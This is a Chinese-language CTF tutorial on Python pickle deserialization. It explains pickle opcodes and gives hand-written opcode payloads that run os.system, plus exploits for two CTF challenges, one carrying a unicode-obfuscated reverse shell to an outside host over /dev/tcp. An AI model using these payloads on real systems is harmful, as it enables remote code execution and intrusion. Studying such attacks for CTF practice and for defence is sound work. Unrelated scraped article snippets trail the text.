pickle反序列化

文章目录

    • 基础知识
      • pickle简介
      • 可序列化对象
      • `object.__reduce__()` 函数
    • pickle过程详细解读
      • opcode简介
      • pickletools
    • 漏洞利用
      • 利用思路
      • 如何手写opcode
    • 工具pker
    • 实战例题
      • [MTCTF 2022]easypickle
      • [HZNUCTF 2023 preliminary]pickle


基础知识

pickle简介

  • 与PHP类似,python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。
  • python有另一个更原始的序列化包marshal,现在开发时一般使用pickle。
  • 与json相比,pickle以二进制储存,不易人工阅读;json可以跨语言,而pickle是Python专用的;pickle能表示python几乎所有的类型(包括自定义类型),json只能表示一部分内置类型且不能表示自定义类型。
  • pickle实际上可以看作一种独立的语言,通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

可序列化对象

  • None,True 和 False
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可封存对象的集合,包括 tuple(元组)、list、set 和 dict
  • 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块最外层的内置函数
  • 定义在模块最外层的类
  • __dict__ 属性值或 __getstate__() 函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)

object.__reduce__() 函数

  • 在开发时,可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。具体而言,python要求 object.__reduce__() 返回一个 (callable, ([para1,para2...])[,...]) 的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。
  • 在下文pickle的opcode中, R 的作用与 object.__reduce__() 关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实 R 正好对应 object.__reduce__() 函数, object.__reduce__() 的返回值会作为 R 的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了 R 的。

pickle过程详细解读

pickle解析依靠Pickle Virtual Machine (PVM)进行。

PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:

  • 解析引擎:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 停止。最终留在栈顶的值将被作为反序列化对象返回。
  • 栈:由Python的list实现,被用来临时存储数据、参数以及对象。
  • memo:由Python的dict实现,为PVM的生命周期提供存储。简单理解就是将反序列化完成的数据以 key-value 的形式储存在memo中,以便后来使用。

opcode简介

pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。目前,pickle有6种版本。

pickle0版本的部分opcode表格:

OpcodeData type loaded onto the stackExample
SStringS’foo’\n
VUnicodeVfo\u006f\n
IIntegerI42\n

pickletools

使用pickletools可以方便的将opcode转化为便于肉眼读取的形式

示例

import pickletoolsopcode=b'''cos
system
(S'whoami'
tR.'''print(pickletools.dis(opcode))
print(opcode)

运行结果
在这里插入图片描述

漏洞利用

利用思路

  • 任意代码执行或命令执行。
  • 变量覆盖,通过覆盖一些凭证达到绕过身份验证的目的。

如何手写opcode

  • 在CTF中,很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用 __reduce__ 来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。
  • 在这里可以体会到为何pickle是一种语言,直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要符合pickle语法,就可以进行变量覆盖、函数执行等操作。
  • 根据前文不同版本的opcode可以看出,版本0的opcode更方便阅读,所以手动编写时,一般选用版本0的opcode。下文中,所有opcode为版本0的opcode。

常用opcode解析

opcode描述具体写法栈上的变化memo上的变化
c获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)c[module]\n[instance]\n获得的对象入栈
o寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)o这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)i[module]\n[callable]\n这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N实例化一个NoneN获得的对象入栈
S实例化一个字符串对象S’xxx’\n(也可以使用双引号、'等python字符串形式)获得的对象入栈
V实例化一个UNICODE字符串对象Vxxx\n获得的对象入栈
I实例化一个int对象Ixxx\n获得的对象入栈
F实例化一个float对象Fx.x\n获得的对象入栈
R选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数R函数和参数出栈,函数的返回值入栈
.程序结束,栈顶的一个元素作为pickle.loads()的返回值.
(向栈中压入一个MARK标记(MARK标记入栈
t寻找栈中的上一个MARK,并组合之间的数据为元组tMARK标记以及被组合的数据出栈,获得的对象入栈
)向栈中直接压入一个空元组)空元组入栈
l寻找栈中的上一个MARK,并组合之间的数据为列表lMARK标记以及被组合的数据出栈,获得的对象入栈
]向栈中直接压入一个空列表]空列表入栈
d寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)dMARK标记以及被组合的数据出栈,获得的对象入栈
}向栈中直接压入一个空字典}空字典入栈
p将栈顶对象储存至memo_npn\n对象被储存
g将memo_n的对象压栈gn\n对象被压栈
0丢弃栈顶对象0栈顶对象被丢弃
b使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置b栈上第一个元素出栈
s将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中s第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中uMARK标记以及被组合的数据出栈,字典被更新
a将栈的第一个元素append到第二个元素(列表)中a栈顶元素出栈,第二个元素(列表)被更新
e寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中eMARK标记以及被组合的数据出栈,列表被更新

由这些opcode我们可以得到一些需要注意的地方:

  • 编写opcode时要想象栈中的数据,以正确使用每种opcode。
  • 在理解时注意与python本身的操作对照(比如python列表的append对应aextend对应e;字典的update对应u)。
  • c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库。
  • pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如getattrdict.get)才能进行。但是因为存在sub操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有ci。而如何查值也是CTF的一个重要考点。
  • sub操作符可以构造并赋值原来没有的属性、键值对。

函数执行
与函数执行相关的opcode有三个: R 、 i 、 o ,所以我们可以从三个方向进行构造:

1.R:

b'''cos
system
(S'whoami'
tR.'''

调用os模块的system函数,传入执行命令。
解释一下,首先是c操作符调用os模块的system函数,接着MARK标记入栈,实例化字符串whoami,运用t操作符寻找栈中的上一个MARK(也就是(),并组合之间的数据为元组,然后使用R操作符选择栈上的第一个对象作为函数、第二个对象作为参数命令执行

2.i:

b'''(S'whoami'
ios
system
.'''

运用i操作符,具体可看前文opcode表格

3.o:

b'''(cos
system
S'whoami'
o.'''

本文参考文章:链接

工具pker

不同系统生成的payload不一样,所以根据具体需求进行使用

实战例题

[MTCTF 2022]easypickle

pickle反序列化源码

try:a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")if b'R' in a or b'i' in a or b'o' in a or b'b' in a:raise pickle.UnpicklingError("R i o b is forbidden")pickle.loads(base64.b64decode(session.get('ser_data')))return "ok"
except:return "error!"

首先将opcode进行关键字替换,然后base64解码赋值给a;接着进行if判断Rirb是否存在变量a中,然后进行pickle反序列化

这里虽然禁用操作符使得难以绕过,但是waf存在逻辑漏洞,也就是说pickle的对象是ser_data,而不是a,所以我们opcode中有os虽然被替换成Os,但是我们还是能执行opcode

payload

opcode=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''//pickletools转换一下0: (    MARK						先传入一个标志到堆栈上,1: S        STRING     'key1'		给栈添加一行string类型数据key19: S        STRING     'val1'		给栈添加一行string数据val117: d        DICT       (MARK at 0)	将堆栈里面的所有数据取出然后组成字典放入堆栈18: S    STRING     'vul'			放入一个string类型数据vul25: (    MARK						再传入一个标志26: c        GLOBAL     'os system'	c操作码提取下面的两行作为module下的一个全局对象此时就是os.system37: V        UNICODE    'calc'		读入一个字符串,以\n结尾;然后把这个字符串压进栈中43: o        OBJ        (MARK at 25)	o操作码建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数))44: s    SETITEM						从堆栈中弹出三个值,一个字典,一个键和值。键/值条目是添加到字典,它被推回到堆栈上45: .    STOP

本题需要反弹shell,但是语句里面存在字符i,我们利用V操作符识别\u的特性,将语句unicode编码一下即可

import base64
opcode=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0035\u0069\u0037\u0038\u0031\u0039\u0036\u0033\u0070\u0032\u002e\u0079\u0069\u0063\u0070\u002e\u0066\u0075\u006e\u002f\u0035\u0038\u0032\u0036\u0035\u0020\u0030\u003e\u0026\u0031\u0027\nos.'''
print(base64.b64encode(opcode))

[HZNUCTF 2023 preliminary]pickle

打开题目,直接给了源码

import base64
import pickle
from flask import Flask, requestapp = Flask(__name__)@app.route('/')
def index():with open('app.py', 'r') as f:return f.read()@app.route('/calc', methods=['GET'])
def getFlag():payload = request.args.get("payload")pickle.loads(base64.b64decode(payload).replace(b'os', b''))return "ganbadie!"@app.route('/readFile', methods=['GET'])
def readFile():filename = request.args.get('filename').replace("flag", "????")with open(filename, 'r') as f:return f.read()if __name__ == '__main__':app.run(host='0.0.0.0')

分析一下,给了两个路由

  • /calc路由提供GET参数payload,然后pickle反序列化,并且过滤了关键字os,我们可以用拼接绕过
  • /readFile路由提供GET参数filename,对其读取文件

exp(flag在环境变量中)

import pickle
import base64class A():def __reduce__(self):return (eval,("__import__('o'+'s').system('env | tee a')",))a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))

然后读取得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/293822.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ubuntu20.04下安装pcl_ubuntu安装pcl

pcl点云数据库,用来进行3D信息的获取与处理,和opencv相比较,opencv是用来处理二维信息,他是学术界与工业界针对点云最全的库,且网络上相关的资料很多。以下是pcl的安装步骤以及遇到的问题。 提前说明,本人…

vulnhub-Tre(cms渗透)

🐮博主syst1m 带你 acquire knowledge! ✨博客首页——syst1m的博客💘 😘《CTF专栏》超级详细的解析,宝宝级教学让你从蹒跚学步到健步如飞🙈 😎《大数据专栏》大数据从0到秃头👽&…

Excel 获取当前行的行数

ROW() 获取当前行 ROW()1 获取当前行然后支持二次开发

Ninja H2 HySE川崎的氢能增压摩托车真的来了,像在开火箭?

川崎最近发布了第一款氢能源的摩托车,而HySE则是日本四大厂(本田、雅马哈、川崎、铃木)联合丰田针对氢作为燃料的动力研发机构,值得一提的是这H2仍然采用的999cc直喷增压发动机,具体的动力数据暂时没有曝光。 车辆后方…

MyBatis关联查询(三、多对多查询)

MyBatis关联查询(三、多对多查询) 需求:查询角色及角色赋予的用户信息。 分析:一个用户可以拥有多个角色,一个角色也可以赋予多个用户,用户和角色为双向的一对多关系,多对多关系其实我们看成是…

C语言——高精度除法

一、引子 1、引言 高精度除法相较于加减乘法更加复杂,它需要处理的因素更多,在这里我们先探讨高精度数除以低精度数,即大数除小数。这已满足日常所需,如需大数除以大数,可以使用专门的库,例如&#xff1a…

大创项目推荐 深度学习+opencv+python实现车道线检测 - 自动驾驶

文章目录 0 前言1 课题背景2 实现效果3 卷积神经网络3.1卷积层3.2 池化层3.3 激活函数:3.4 全连接层3.5 使用tensorflow中keras模块实现卷积神经网络 4 YOLOV56 数据集处理7 模型训练8 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 &am…

基于AE、VAE 和 VQ-VAE的图像生成

AE 是将数据映直接映射为数值code(确定的数值),主要用于图像压缩与还原VAE是先将数据映射为分布,再从分布中采样得到数值code,主要用于图像生成。AQ-VAE是在原始VAE基础上多了一步Vector Quantization矢量量化操作&…

放心安全国产主食冻干猫粮有哪些牌子?分享十大放心猫粮国产名单

近几年,冻干猫粮在宠物圈内非常流行,许多品牌都推出了冻干猫粮。在所有的猫食品中,冻干无疑是最具营养、动物蛋白含量最高的食品之一。冻干作为现在宠物圈最火的猫食品,受到了众多猫友们的喜爱和追捧。但有些铲屎官在选择冻干猫粮…

仿悬赏猫任务平台源码 悬赏任务系统源码 带支付接口

源码介绍 最新仿悬赏猫任务平台源码 悬赏任务系统源码 带支付接口, 全新开发悬赏任务系统,功能齐全,包含接任务,发布任务, 店铺关注,置顶推荐,排行榜,红包大厅,红包抽奖…

一些问题/技巧的集合(仅个人使用)

目录 第一章、1.1)前端找不到图片1.2)1.3)1.4) 第二章、2.1)2.2)2.3) 第三章、3.1)3.2)3.3) 第四章、4.1)4.2)4.3) 友情提…

MT6739/MTK6739安卓核心板规格参数_MTK平台核心板定制

安卓核心板采用联发科 MT6739 平台开发设计,搭载开放的智能 Android 操作系统。它集成 GPU PowerVR GE8100 570MHz,集成了 BASEBAND、UMCP、PMU 等核心器件,支持 2.4G5G 双频 WIFI(可支持 1*1 MIMO)、BLUETOOTH 近距离无线传输技术&#xff0…